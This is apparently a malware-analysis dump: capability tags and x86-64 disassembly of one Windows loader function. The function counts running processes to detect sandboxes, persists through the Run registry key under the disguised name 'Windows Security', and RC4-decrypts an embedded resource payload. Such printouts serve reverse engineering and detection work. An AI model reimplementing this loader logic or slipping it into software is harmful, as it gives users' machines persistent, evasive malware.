Function at 0x140001340
Capabilities:
Enumerate processes
Extract resource via kernel32 functions
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rbx
push r13
push r14
push r15
lea rbp, [rsp - 0x320]
sub rsp, 0x420
mov rax, qword [0x14006c660]
xor rax, rsp
mov qword [rbp + 0x310], rax
mov r14, rdx
mov qword [rsp + 0x30], rdx
mov edx, 0x64
xor ecx, ecx
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x1400016dd
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r13d, eax
test eax, eax
je 0x1400016dd
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400016dd
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
test rax, rax
je 0x1400016dd
movups xmm0, xmmword [rax + 0x10]
mov qword [rsp + 0x450], rsi
xor esi, esi
movups xmm1, xmmword [rax + 0x20]
mov qword [rsp + 0x460], rdi
movups xmm2, xmmword [rax]
mov qword [rsp + 0x468], r12
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x60], xmm1
movq r12, xmm2
movups xmm1, xmmword [rax + 0x40]
shr r12, 0x20
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rbp - 0x80], xmm1
movups xmm1, xmmword [rax + 0x60]
movaps xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rbp - 0x60], xmm1
movsd xmm1, qword [rax + 0x80]
movd eax, xmm2
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rbp - 0x50], xmm0
movsd qword [rbp - 0x40], xmm1
test eax, eax
je 0x1400014b5
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400014b5
xor edx, edx
mov dword [rbp - 0x30], 0x238
mov r8d, 0x234
lea rcx, [rbp - 0x2c]
call fcn.140034780
lea rdx, [rbp - 0x30]
mov rcx, rdi
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400016e1
nop dword [rax + rax]
mov r14d, ebx
lea rdx, [rbp - 0x30]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001490
cmp r14d, 0x28
jl 0x1400016e1
mov r14, qword [rsp + 0x30]
mov edi, 0x100
test r12d, r12d
je 0x140001550
mov r8d, edi
lea rcx, [rbp + 0x210]
xor edx, edx
call fcn.140034780
mov r8d, edi
lea rdx, [rbp + 0x210]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x140001550
lea rcx, [rbp + 0x210]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x140001511
mov rcx, qword [rsp + 0x30]
lea rdx, str.Windows_Security
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rbp + 0x210]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [r13 - 0x88]
mov ecx, eax
mov dword [r14], eax
call fcn.1400021bc
mov r8d, dword [r14]
lea rdx, [r15 + 0x88]
mov rcx, rax
mov r12, rax
call fcn.140034320
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r14d, dword [r14]
lea rcx, [rbp - 0x30]
mov r8, rdi
xor edx, edx
mov ebx, esi
call fcn.140034780
mov r8, rdi
lea rcx, [rbp + 0x210]
xor edx, edx
call fcn.140034780
mov edx, esi
nop word [rax + rax]
movsxd rcx, edx
mov eax, edx
and eax, 0x7f
mov byte [rbp + rcx + 0x210], dl
inc edx
movzx eax, byte [rsp + rax + 0x48]
mov byte [rbp + rcx - 0x30], al
cmp edx, edi
jl 0x1400015b0
mov rdx, rsi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x30]
movzx r8d, byte [rbp + rdx + 0x210]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x140001605
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rbp + 0x210]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rbp + rdx + 0x210], al
inc rdx
mov byte [rcx], r8b
sub rdi, 1
jne 0x1400015e0
mov edx, esi
test r14d, r14d
je 0x1400016a3
mov r10, r12
mov r11, r14
lea eax, [rsi + 1]
and eax, 0x800000ff
jge 0x140001648
dec eax
or eax, 0xffffff00
inc eax
movsxd rsi, eax
lea r9, [rbp + 0x210]
movzx r8d, byte [r9 + rsi]
add edx, r8d
and edx, 0x800000ff
jge 0x14000166c
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rbp + 0x210]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r9 + rsi], al
mov byte [rcx], r8b
movzx eax, byte [r9 + rsi]
add r8, rax
movzx eax, r8b
movzx ecx, byte [rbp + rax + 0x210]
xor byte [r10], cl
inc r10
sub r11, 1
jne 0x140001635
mov rdi, qword [rsp + 0x460]
mov rax, r12
mov r12, qword [rsp + 0x468]
mov rsi, qword [rsp + 0x450]
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.140032b40
add rsp, 0x420
pop r15
pop r14
pop r13
pop rbx
pop rbp
ret
xor eax, eax
jmp 0x1400016be
mov ecx, 1
call fcn.1400370cc
int3